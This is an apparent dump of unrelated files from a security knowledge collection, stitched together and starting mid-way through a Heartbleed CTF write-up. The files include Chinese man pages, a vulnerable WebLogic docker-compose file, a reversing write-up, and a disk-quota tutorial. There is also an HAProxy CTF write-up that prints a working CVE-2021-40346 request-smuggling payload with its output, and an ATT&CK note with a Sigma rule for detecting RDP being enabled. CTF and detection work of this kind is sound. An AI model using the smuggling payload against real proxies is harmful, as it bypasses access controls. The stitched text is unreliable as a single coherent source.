00 00 00 00 00 00 00 00 00 ................ 3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ WARNING: server returned more data than it should - server is vulnerable! ``` The flag is inside the leaked memory (you may need to run the script a few times): `BSidesTLV2020{Bl00d_Bl00d_Bl00d!!!}`
sec-knowleage
'\" '\" Copyright (c) 1990-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: selection.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: selection.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH selection 3tk 8.1 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME selection \- 操纵 X 选择 .SH "总览 SYNOPSIS" \fBselection \fIoption\fR ?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令提供到 X 选择机制的一个 Tcl 接口并实现了在 X 客户间通信协定手册(ICCCM)中描述全部选择功能。 .PP 给 \fBselection\fR 的第一个参数决定余下的参数的格式和命令的行为。当前支持下列形式: .PP .TP \fBselection clear\fR ?\fB\-displayof\fR \fIwindow\fR? ?\fB\-selection\fR \fIselection\fR? 如果 \fIselection\fR 存在于 \fIwindow \fR的显示器上的某个地方,则清除它这样就没有任何窗口拥有这个选择了。\fISelection\fR 指定应该清除的 X 选择,并且应当是一个原子的名字如 PRIMARY 或 CLIPBOARD;详情请参见 X 客户间通信协定手册。\fISelection\fR 缺省为 PRIMARY 而 \fIwindow\fR 缺省为“.”。返回一个空串。 .TP \fBselection get\fR ?\fB\-displayof\fR \fIwindow\fR? ?\fB\-selection\fR \fIselection\fR? ?\fB\-type\fR \fItype\fR? 从 \fIwindow \fR的显示器取回 \fIselection\fR 的值并把它作为结果返回。\fISelection\fR 缺省为 PRIMARY 而 \fIwindow\fR 缺省为“.”。\fIType\fR 指定返回选择用的形式(用 ICCCM 术语是想要的转换的“目标”),并且应当是一个原子的名字如 STRING 或 FILE_NAME; 详情请参见 X 客户间通信协定手册。\fIType\fR 缺省为 STRING。选择拥有者可以在多种不同的表示格式中挑选返回选择(的格式),比如 STRING、ATOM、INTEGER 等。(这个格式不同与选择类型,如有混淆请参见 ICCCM)。如果以非字符串格式返回选择。比如 INTEGER 或 ATOM,\fBselection\fR 命令把它转换字符串格式,即一组用空格分隔的字段: 把原子转换成他们的文字名字,把其他任何东西都转换成十六进制整数。 .TP \fBselection handle\fR ?\fB\-selection\fR \fIselection\fR? ?\fB\-type\fR \fItype\fR? ?\fB\-format\fR \fIformat\fR? \fIwindow command\fR 为选择请求建立一个处理器(handler),这样当 \fIwindow\fR 拥有 \fIselection\fR 并且有人尝试以用 \fItype\fR (比方说在 \fBselection get\fR 命令中指定了 \fItype\fR)给出的形式取回它的时候,则执行 \fIcommand\fR 。\fISelection\fR 缺省为 PRIMARY,\fItype\fR 缺省为STRING,而 \fIformat\fR 缺省为 STRING。如果 \fIcommand\fR 是一个空串,则删除针对 \fIwindow\fR、\fItype\fR 和 \fIselection\fR 的所有处理器。 .RS .PP 在要求 \fIselection\fR 的时候,\fIwindow\fR 是选择的所有者,而 \fItype\fR 是要求的类型,把 \fIcommand\fR 作为一个 Tcl 脚本来执行,并向它添加了两个补充的数(带有空格分隔符)。这两个补充的数 .VS 是 \fIoffset\fR 和 \fImaxChars\fR: \fIoffset\fR 指定在选择中的开始位置而 \fImaxChars\fR 给出要取回的字符的最大数目。这个命令应该返回一个值,它由选择的最多 \fImaxChars\fR 字符组成,开始于位置 \fIoffset\fR。对于非常大的选择(大于 \fImaxChars\fR),使用递增 \fIoffset\fR 值的多次 \fIcommand\fR 调用来取回选择。如果 \fIcommand\fR 返回其长度小于 \fImaxChars\fR 的一个字符串,则假定返回值包含选择的全部余下部分;如果 \fIcommand\fR 的结果的长度等于 \fImaxChars\fR 则将再次调用 \fIcommand\fR ,知道最终返回小于 \fImaxChars\fR 的一个结果。\fImaxChars\fR 总是相对的大(成千个字符)。 .VE .PP 如果 \fIcommand\fR 返回一个错误,则丢弃取回的选择,如同选择根本不存在。 .PP \fIformat\fR 参数指定用来把选择传输(transmit)到请求者的表示法(ICCCM 的表 2 的第二列),并且缺省为 STRING。如果 \fIformat\fR 是 STRING,则把选择传输为 8-bit ASCII 字符。如果 \fIformat\fR 是 ATOM,则把 \fIdata\fR 分割为用白空格分隔的字段;把每个字段转换成它的原子值,传输 32-bit 原子值而不是原子的名字。对于任何其他的 \fIformat\fR,把 \fIdata\fR 分割为用白空格分隔的字段;把每个字段转换成一个 32-bit 整数;向选择的请求者传输一个整数的数组。 .PP \fIformat\fR 参数只在与不使用 Tk 的请求者相兼容时需要。如果使用 Tk 工具箱来取回 CLIPBOARD 选择,则在请求端把这个值转换回一个字符串,所以 \fIformat\fR 是无关的(irrelevant)。 .RE .TP \fBselection own\fR ?\fB\-displayof\fR \fIwindow\fR? ?\fB\-selection\fR \fIselection\fR? .TP \fBselection own\fR ?\fB\-command\fR \fIcommand\fR? ?\fB\-selection\fR \fIselection\fR? \fIwindow\fR 第一种形式的 \fBselection own\fR 返回在这个应用中的一个窗口路径名字的名字,这个窗口拥有在容纳 \fIwindow \fR的显示器上的 \fIselection\fR,如果在这个应用种没有窗口拥有这个选择就返回一个空串。\fISelection\fR defaults to PRIMARY and \fIwindow\fR defaults to ``.''. .PP \fBselection own\fR 的第二种形式导致 \fIwindow\fR 成为在 \fIwindow \fR的显示器上的 \fIselection\fR 的新拥有者,它返回一个空串作为结果。通知现存的拥有者(如果有的话)它已经失去了这个选择。如果指定了\fIcommand\fR,在其他一些窗口向 \fIwindow \fR索取(claim)这个选择的所有权的时候,执行这个Tcl 脚本。\fISelection\fR 缺省为 PRIMARY。 .SH "关键字 KEYWORDS" clear, format, handler, ICCCM, own, selection, target, type .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/27 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
version: '2' services: weblogic: image: vulhub/weblogic:10.3.6.0-2017 volumes: - ./web:/root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy ports: - "7001:7001" - "5556:5556"
sec-knowleage
## Frog Fractions 2(reversing, 5 points, 65 solves) Turns out Frog Fractions 2 is not battletoads We're given a 64bit elf file, let's start by disassembling it and describing important points in the program. The program uses a library called libgmp to handle big numbers, it makes the debugging less friendly. After analysing the binary come we come up with a replacement script in python: ```python data = [] #scraped data array from binary primes = [] #init primes somewhere v11 = 1019 line = "A sample line input" #our input def factor_print(a1): v4 = a1 for x in range(200): c = 0 while(v4 % primes[x] == 0): v4 = v4/primes[x]; c = c+1 if(c != 0): sys.stdout.write(chr(c)) print for i in range(len(line)): v11 = v11* pow(primes[i], ord(line[i])) j =0 while(j < len(data)/2): v6 = data[j*2] v7 = data[j*2+1] v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1 factor_print(v11) ``` While searching through the binary we stumble into two big, interesting integers: 62834...(6955 chars) and 50209...(8423 chars). What's interesting about them is that if we run them through our `factor_print` function we get the 2 messages available: `Nope! You need to practice your fractions!` `Congratulations! Treat yourself to some durians!` So we need to find a line that reproduces the second output message, we do that by reversing the function: ```python def crack(v11): j = 0 while(j < len(data)/2): v7 = data[j*2] v6 = data[j*2+1] v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1 factor_print(v11) ``` Which gives us the desired output: `KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)}` The full source is available [here](https://gist.github.com/nazywam/0634494b4b1c0ffd46a3)
sec-knowleage
.TH AC 1 "1995 October 31" .SH NAME ac \ - 输出用户连接时间 .SH 总览 .hy 0 .na .TP .B ac [ .B \-d | .B \-\-daily-totals ] [ .B \-y | .B \-\-print-year ] .br [ .B \-p | .B \-\-individual-totals ] [ .I people ] .br [ .B \-f | .B \-\-file .I filename ] [ .B \-a | .B \-\-all-days ] .br [ .B \-\-complain ] [ .B \-\-reboots ] [ .B \-\-supplants ] .br [ .B \-\-timewarps ] [ .B \-\-compatibility ] .br [ .B \-\-tw-leniency .I num ] [ .B \-\-tw-suspicious .I num ] .br [ .B \-z | .B \-\-print-zeros ] [ .B \-\-debug ] .br [ .B \-V | .B \-\-version ] [ .B \-h | .B \-\-help ] .ad b .hy 1 .SH 描述 基于当前的 /var/log/wtmp 文件中的登录和退出时间输出一个 关于连接时间(以小时为单位)的报告。并且还输出一个总计时间。 审计文件 /var/log/wtmp 由 init(8) 和 login(1) 维护。ac 和 login 均不生成 /var/log/wtmp 文件,如果审计文件不存在,则不 做审计工作。如果要开始审计,应生成一个长度为零的审计文件。 注意:文件 /var/log/wtmp 可能很快就变得非常大。你可能隔一段 时间就要裁减一下这个文件。 GNU ac 工作起来与 u*x ac 基本一样,但也在几个方面有小的改进。 你可能希望看到 GNU ac 和其他系统上的 ac 在输出上的不同。想得 到额外的信息,请使用命令 info accounting。 .fi .SH 选项 .TP .B \-d, \-\-daily-totals 为每天输出输出一个总计时间,而不是在结尾输出一大的总计。输出 可能象下面这样: Jul 3 total 1.17 Jul 4 total 2.10 Jul 5 total 8.23 Jul 6 total 2.10 Jul 7 total 0.30 .TP .B \-p, \-\-individual-totals 为每个用户输出总计时间,并在最后追加一个所有用户的总计时间的 累计值。输出可能象下面这样: bob 8.06 goff 0.60 maley 7.37 root 0.12 total 16.15 .TP .I [用户列表] 输出的是在用户列表中包括的所有用户的连接时间的总计和值。 用户列表由空格分隔,其中不允许有通配符。 .TP .BI "\-f, \-\-file " filename 从指定文件而不是系统的 /var/log/wtmp 文件中读取记帐信息。 .TP .B \-\-complain .nf 当 /var/log/wtmp 存在着问题(时间扭曲,丢失记录, 或其他任何问题),输出一个适当的错误信息。 .fi .TP .B \-\-reboots .nf 重新引导(reboot)记录不是在系统重新引导时写的,而是 在系统重新启动(restart)时写的。所以不可能知道重新引导 的精确的发生时间。用户在系统重新引导时可能已经在系统 上登录了,许多 ac 依据用户(的要求)自动的统计在登录与重 新引导记录之间的时间(尽管所有的这些时间不应是问题,但 系统关机很长的时间时可能就是了)。如果你打算统计这个时 间,就应包括此选项。 *要求对 vanilla ac 的兼容性,就要包含此选项* .fi .TP .B \-\-supplants .nf 有时,注销记录没有写出明确的终端,因而 最近的用户的自然增长的时间就不能被计算。如果你打算 包括在一个终端上的从用户登录到下一次登录的时间(尽管 可能是不正确的),就应包括此选项。 *要求对 vanilla ac 的兼容性,就要包含此选项* .fi .TP .B \-\-timewarps .nf 一些时候,在 @WTMP_FILE_LOC 文件中的记录可能突然跳回 到了以前的时间而却没有时钟更改记录出现。在这种情况 发生时,不可能知道用户登录了多长时间。如果你打算依据 用户(的要求)统计从登录到时间扭曲之间的时间,就应包括 此选项。 *要求对 vanilla ac 的兼容性,就要包含此选项* .fi .TP .B \-\-compatibility 这是上面三种选项的速写,就不用敲三次键盘了。 .TP .B \-a, \-\-all-days .nf 如果我们在输出日总计时使用了此参数,则输出每天的记录, 而不是忽略掉没有登录活动的间隔日。没有此选项时,在这 些间隔日期间自然增长的时间被列在下一天即有登录活动的 那一天的底下。 .fi .TP .BI \-\-tw-leniency " num" .nf 设置时间扭曲的宽限为 num 秒。在 /var/log/wtmp 文件中 的记录可能轻微的乱了次序(最显著的是当两个登录发生在 一前一后的时期,第二个可能先写了记录)。缺省的值被设置 为60。如果程序注意到了这个问题,除非使用了--timewarps 选项,否则不把时间赋给用户。 .fi .TP .BI \-\-tw-suspicious " num" .nf 设置时间扭曲的不信任值为 num 秒. 结果 /var/log/wtmp 文 件中的两个记录超出了这个秒间隔数, 那么在 @WTMP_FILE_LOC 文件中一定存在问题 (或者你的机器已经一年没有使用了). 如果程序注意到了这个问题,除非使用了--timewarps选项, 否则不把时间赋给用户。 .fi .TP .B \-y, \-\-print-year 在显示日期的时候输出年份。 .TP .B \-z, \-\-print-zeros .nf 一个任何类别的总计(除了全部总计)是零,还是输出此总计。 缺省时禁止输出是零的总计。 .fi .TP .B \-\-debug 输出冗余的内部(调试)信息。 .TP .B \-V, \-\-version 在标准输出上输出版本号并退出。 .TP .B \-h, \-\-help 在标准输出上输出使用方法并退出。 .SH 相关文件 .I /var/log/wtmp 系统范围登录记录文件。进一步的细节参见 wtmp(5)。 .SH 著作者 .nf GNU 账户审计工具是由 Noel Cragg 编写。 手册页从 Susan Kleinmann 写的关于审计的 texinfo 页转换 而来。 .fi .SH 参见 .BR login (1), .BR wtmp (5), .BR init (8), .BR sa (8) .SH [中文版维护人] .nf .B mhss .SH [中文版最新更新] 2000/10/31 .SH 《中国Linux论坛man手册页翻译计划》 http://cmpp.linuxforum.net .fi
sec-knowleage
quota === 显示磁盘已使用的空间与限制 ## 补充说明 **quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 ### 语法 ```shell quota(选项)(参数) ``` ### 选项 ```shell -g:列出群组的磁盘空间限制; -q:简明列表,只列出超过限制的部分; -u:列出用户的磁盘空间限制; -v:显示该用户或群组,在所有挂入系统的存储设备的空间限制; -V:显示版本信息。 ``` ### 参数 用户或者工作组:指定要显示的用户或者工作组。 ### 实例 我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中! 要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。) ```shell [root@localhost ~]# groupadd qgroup [root@localhost ~]# useradd -m -g qgroup quser1 [root@localhost ~]# useradd -m -g qgroup quser2 [root@localhost ~]# passwd quser1 [root@localhost ~]# passwd quser2 [root@localhost ~]# df ===> 自己找一个合适的分区来做实验,这里用/disk2 Filesystem 1K-blocks Used Available Use% Mounted on /dev/hda1 5952252 3193292 2451720 57% / /dev/hdb1 28267608 77904 26730604 1% /disk2 /dev/hda5 9492644 227252 8775412 3% /disk1 [root@localhost ~]# vi /etc/fstab LABEL=/ / ext3 defaults 1 1 LABEL=/disk1 /disk1 ext3 defaults 1 2 LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 /dev/hda3 swap swap defaults 0 0 ``` 注意多了`usrquota,grpquota`,在`defaults,usrquota,grpquota`之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot)。 重新`remount filesystem`来驱动设定值。 ```shell [root@localhost ~]# umount /dev/hdb1 [root@localhost ~]# mount -a [root@localhost ~]# grep '/disk2' /etc/mtab /dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0 ``` 事实上,也可以利用 mount 的 remount 功能。 ```shell [root@localhost ~]# mount -o remount /disk2 ``` 这样就已经成功的将 filesystem 的 quota 功能加入。 扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user: ```shell [root@localhost ~]# quotacheck -avug quotacheck: Scanning /dev/hdb1 [/disk2] done quotacheck: Checked 3 directories and 4 files [root@localhost ~]# ll /disk2 -rw------- 1 root root 6144 Sep 6 11:44 aquota.group -rw------- 1 root root 6144 Sep 6 11:44 aquota.user ``` 使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要) ```shell [root@localhost ~]# cd /disk2 [root@localhost ~]# ln -s aquota.user quota.user [root@localhost ~]# ln -s aquota.group quota.group ``` 启动 quota 的限额: ```shell [root@localhost ~]# quotaon -avug /dev/hdb1 [/disk2]: group quotas turned on /dev/hdb1 [/disk2]: user quotas turned on ===> 看到turned on,才是真的成功! ``` 编辑使用者的可使用空间: ```shell [root@localhost ~]# edquota -u quser1 Disk quotas for user quser1 (uid 502): Filesystem blocks soft hard inodes soft hard /dev/hdb1 0 45000 50000 0 0 0 [root@localhost ~]# edquota -p quser1 quser2 ===> 直接复制给quser2 ``` 接下来要来设定宽限时间,还是使用 edquota ```shell [root@localhost ~]# edquota -t Grace period before enforcing soft limits for users: time units may be: days, hours, minutes, or seconds Filesystem Block grace period Inode grace period /dev/hdb1 1days 7days ``` 使用`quota -v`来查询: ```shell [root@localhost ~]# quota -vu quser1 quser2 Disk quotas for user quser1 (uid 502): Filesystem blocks quota limit grace files quota limit grace /dev/hdb1 0 45000 50000 0 0 0 Disk quotas for user quser2 (uid 503): Filesystem blocks quota limit grace files quota limit grace /dev/hdb1 0 45000 50000 0 0 0 ``` 注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现。 编辑群组可使用的空间: ```shell [root@localhost ~]# edquota -g qgroup Disk quotas for group qgroup (gid 502): Filesystem blocks soft hard inodes soft hard /dev/hdb1 0 80000 90000 0 0 0 [root@localhost ~]# quota -vg qgroup Disk quotas for group qgroup (gid 502): Filesystem blocks quota limit grace files quota limit grace /dev/hdb1 0 80000 90000 0 0 0 ```
sec-knowleage
# Door (un)Locked * Category: Web * 100 Points * Solved by the JCTF Team ## Description > Some researchers started deploying a website for their CTF, but something went wrong with the defined policies when trying to hide the flags. > Can you find the weak link? The following file was attached (`ha.cfg`): ``` global daemon defaults mode http timeout client 50000 timeout server 50000 timeout connect 50000 frontend web bind *:8000 http-request deny if { path_beg /flag } http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ } default_backend websrvs backend websrvs http-reuse always server srv1 flask:5000 ``` ## Solution The attached website contains nothing interesting: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Door_(un)Locked] └─$ curl -s http://door-unlocked.chal.intentsummit.org:8000/ | tail -15 <div class="w3-display-topleft w3-padding-large w3-xlarge"> Door (un)Locked </div> <div class="w3-display-middle"> <h1 class="w3-jumbo w3-animate-top">COMING SOON</h1> <hr class="w3-border-grey" style="margin:auto;width:40%"> <p class="w3-large w3-center">1 days left</p> </div> <div class="w3-display-bottomleft w3-padding-large"> Powered by <a href="https://www.w3schools.com/w3css/default.asp" target="_blank">w3.css</a> </div> </div> </body> </html> ``` But if we try to access `/flag`, we can't, due to the `http-request deny` rules: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Door_(un)Locked] └─$ curl -s http://door-unlocked.chal.intentsummit.org:8000/flag <html><body><h1>403 Forbidden</h1> Request forbidden by administrative rules. </body></html> ``` The syntax of the attached file looks like a HAProxy configuration. Researching known vulnerabilities, we come across [Critical Vulnerability in HAProxy (CVE-2021-40346): Integer Overflow Enables HTTP Smuggling](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/). The solution is pretty much to follow the blog post and utilize the attack for our case: ``` POST / HTTP/1.1 Host: door-unlocked.chal.intentsummit.org:8000 Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 22 GET /flag HTTP/1.1 h:GET / HTTP/1.1 Host: door-unlocked.chal.intentsummit.org:8000 ``` Running it, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Door_(un)Locked] └─$ cat payload.txt| nc door-unlocked.chal.intentsummit.org 8000 HTTP/1.1 405 Not Allowed server: nginx/1.21.4 date: Sat, 13 Nov 2021 19:01:41 GMT content-type: text/html content-length: 157 <html> <head><title>405 Not Allowed</title></head> <body> <center><h1>405 Not Allowed</h1></center> <hr><center>nginx/1.21.4</center> </body> </html> HTTP/1.1 200 OK server: nginx/1.21.4 date: Sat, 13 Nov 2021 19:01:41 GMT content-type: text/html content-length: 29 last-modified: Fri, 12 Nov 2021 20:51:37 GMT etag: "618ed3d9-1d" accept-ranges: bytes INTENT{Smuggl3_w1th_H4_Pr0xy} ```
sec-knowleage
# T1021-001-win-使用Start_Rdp开启远程桌面服务 ## 来自ATT&CK的描述 攻击者可以利用有效帐户使用远程桌面协议 (RDP) 登录计算机。然后攻击者可以作为登录用户执行操作。 远程桌面是操作系统中的常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft 将其远程桌面协议 (RDP) 的实现称为远程桌面服务 (RDS)。 如果启用该服务并允许访问具有已知凭据的帐户,攻击者可能会通过RDP/RDS连接到远程系统以扩展访问权限。攻击者可能会使用凭据访问技术来获取与RDP一起使用的凭据。攻击者还可以利用RDP做持久化操作。 ## 测试案例 参考下文中提到的Start_Rdp.exe程序开启RDP服务。 <https://github.com/Ryze-T/Windows_API_Tools> 作用:开启rdp服务 用法: Start_Rdp.exe ## 检测日志 windows sysmon ## 测试复现 测试环境说明:Windows server 2012 ```shell C:\Windows_API_Tools-main>Start_Rdp.exe success ``` ## 测试留痕 windows sysmon 事件ID:1,进程创建。进程创建事件提供有关新创建进程的扩展信息。完整的命令行提供了有关进程执行的上下文。ProcessGUID字段是整个域中此过程的唯一值,以简化事件关联。哈希是文件的完整哈希,其中包含HashType字段中的算法。 ```log Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-03-24 08:11:46.909 ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 2796 Image: C:\Windows_API_Tools-main\Start_Rdp.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: Start_Rdp.exe CurrentDirectory: C:\Windows_API_Tools-main\ User: WEIDONG\Administrator LogonGuid: {4a363fee-2447-623c-df16-080000000000} LogonId: 0x816DF TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=9805144590D86D7BF4D6D01BB368047BC94EF174,MD5=14148598AD98D05A820462F0BBD07B9F,SHA256=98579200636025AA468A3EEC8B217273630FD4658F6ABDBB035C8A094650311A,IMPHASH=60A0824F60935C033352E518E6CDA834 ParentProcessGuid: {4a363fee-246e-623c-4a6d-0f0000000000} ParentProcessId: 3472 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ParentUser: WEIDONG\Administrator ``` 事件ID:13,值集。此注册表事件类型标识注册表值修改。该事件记录为DWORD和QWORD类型的注册表值写入的值。 ```log Registry value set: RuleName: technique_id=T1112,technique_name=Modify Registry EventType: SetValue UtcTime: 2022-03-24 08:11:46.909 ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 2796 Image: C:\Windows_API_Tools-main\Start_Rdp.exe TargetObject: HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections Details: DWORD (0x00000000) User: WEIDONG\Administrator ``` ## 检测规则/思路 ### Sigma ```yml title: 检测Start_Rdp开启windows远程桌面连接 tags: T1021_001 status: experimental references: - https://github.com/Ryze-T/Windows_API_Tools logsource: product: windows service: Sysmon detection: selection: EventID: 13 TargetObject: HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections Details: DWORD (0x00000000) condition: selection level: medium ``` ## 相关TIP [[T1021-002-win-管理员共享]] [[T1021-002-win-基于PsExec执行payload(白名单)]] [[T1021-006-win-远程powershell会话]] 